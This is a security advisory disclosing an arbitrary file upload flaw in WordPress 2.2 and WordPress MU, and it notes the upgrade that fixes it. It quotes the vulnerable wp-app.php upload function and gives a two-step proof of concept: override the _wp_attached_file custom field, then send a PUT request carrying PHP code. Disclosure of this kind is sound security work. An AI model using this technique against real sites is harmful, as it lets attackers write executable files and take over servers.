Arbitrary File Upload Vulnerability in WordPress and WordPress MU

Alexander Concha <alex at buayacorp dot com>
Affected versions
WordPress 2.2 and WordPress MU <= 1.2.2


WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability.

WordPress allows the upload of limited set of file attachments. The name, title and other values are stored on wp_posts table with post_type=attachment, the path and other file properties are stored in wp_postmeta table using special fields named _wp_attached_file and _wp_attachment_metadata.

On the other hand, WordPress also gives the ability to add custom fields in normal posts or pages (this fields are stored in wp_postmeta table too), but it does not check whether this special meta-data fields of attachments are added in normal posts.

On wp-app.php, there is the following function that allows file uploads:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));


This function basically loads the path of the first attachment and writes the content that is posted to wp-app.php. So, if an attacker overrides the value of the first metadata attachment with a convenient filename, all the contents will be written to that file.

This bug has been proved to be critical in WordPress MU based sites, since every registered user that have a blog account can upload files.

Proof of Concept

  1. Create or edit a post and add/override a custom field to it with the following value:

    key 	: _wp_attached_file
    value 	: /home/
  2. Send a PUT request to wp-app.php and pass the post_ID value from step 1
    PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
    Cookie: auth cookies
    Content-Type: image/gif
    Content-Length: the content length
    <?php echo "Hello World"; ?>


Upgrade to latest version of WordPress [MU]. This bug was fixed in changeset 5765.

Disclosure Timeline